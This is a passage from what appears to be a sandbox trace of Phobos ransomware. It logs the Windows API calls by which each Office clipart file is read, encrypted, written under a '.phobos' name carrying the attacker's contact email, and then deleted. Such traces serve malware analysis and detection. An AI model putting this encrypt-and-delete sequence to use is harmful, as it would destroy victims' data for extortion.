pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.797] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.797] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.798] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.798] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0058.798] CloseHandle (hObject=0x338) returned 1 [0058.798] CloseHandle (hObject=0x328) returned 1 [0058.799] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0058.800] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.800] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=22516) returned 1 [0058.800] CloseHandle (hObject=0x328) returned 1 [0058.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x220 [0058.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.800] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.800] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0058.800] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.800] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x57f4, lpOverlapped=0x0) returned 1 [0058.812] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5800, dwBufLen=0x5800 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5800) returned 1 [0058.812] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x5800, lpOverlapped=0x0) returned 1 [0058.813] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dccd0) returned 1 [0058.813] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.813] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.813] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0058.813] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.813] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.813] CloseHandle (hObject=0x328) returned 1 [0058.813] CloseHandle (hObject=0x338) returned 1 [0058.814] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0058.815] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.861] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=17236) returned 1 [0058.861] CloseHandle (hObject=0x310) returned 1 [0058.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x220 [0058.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.861] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.861] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.861] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.862] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0058.862] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.862] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4354, lpOverlapped=0x0) returned 1 [0058.875] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4360, dwBufLen=0x4360 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4360) returned 1 [0058.875] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4360, lpOverlapped=0x0) returned 1 [0058.876] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc910) returned 1 [0058.876] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.876] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.876] CryptDestroyKey (hKey=0x10dc910) returned 1 [0058.876] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.876] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0058.876] CloseHandle (hObject=0x310) returned 1 [0058.876] CloseHandle (hObject=0x304) returned 1 [0058.877] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd05119_.wmf")) returned 1 [0058.880] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.880] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=16676) returned 1 [0058.880] CloseHandle (hObject=0x304) returned 1 [0058.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 0x220 [0058.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.881] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.881] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.881] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc650) returned 1 [0058.881] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.881] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x4124, lpOverlapped=0x0) returned 1 [0058.894] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4130, dwBufLen=0x4130 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x4130) returned 1 [0058.894] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x4130, lpOverlapped=0x0) returned 1 [0058.896] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc8d0) returned 1 [0058.896] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.896] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.896] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0058.896] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.896] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.896] CloseHandle (hObject=0x304) returned 1 [0058.896] CloseHandle (hObject=0x310) returned 1 [0058.897] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06200_.wmf")) returned 1 [0058.898] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.898] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.904] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=26748) returned 1 [0058.904] CloseHandle (hObject=0x2fc) returned 1 [0058.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 0x220 [0058.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.904] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.904] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.906] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0058.906] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.906] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x687c, lpOverlapped=0x0) returned 1 [0058.974] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6880, dwBufLen=0x6880 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6880) returned 1 [0058.974] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x6880, lpOverlapped=0x0) returned 1 [0058.976] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc10) returned 1 [0058.976] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.976] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.976] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.976] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.976] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.976] CloseHandle (hObject=0x2fc) returned 1 [0058.976] CloseHandle (hObject=0x310) returned 1 [0058.977] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07761_.wmf")) returned 1 [0058.978] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.978] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.978] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=47996) returned 1 [0058.978] CloseHandle (hObject=0x310) returned 1 [0058.978] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0058.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.979] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.979] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.979] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc10) returned 1 [0058.979] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.979] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xbb7c, lpOverlapped=0x0) returned 1 [0058.991] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbb80, dwBufLen=0xbb80 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xbb80) returned 1 [0058.991] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xbb80, lpOverlapped=0x0) returned 1 [0058.993] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc650) returned 1 [0058.993] CryptSetKeyParam (hKey=0x10dc650, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.993] CryptEncrypt (in: hKey=0x10dc650, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.993] CryptDestroyKey (hKey=0x10dc650) returned 1 [0058.993] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.993] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.993] CloseHandle (hObject=0x310) returned 1 [0058.993] CloseHandle (hObject=0x2fc) returned 1 [0058.994] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0058.995] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.001] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=47786) returned 1 [0059.001] CloseHandle (hObject=0x310) returned 1 [0059.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0059.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0059.001] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, 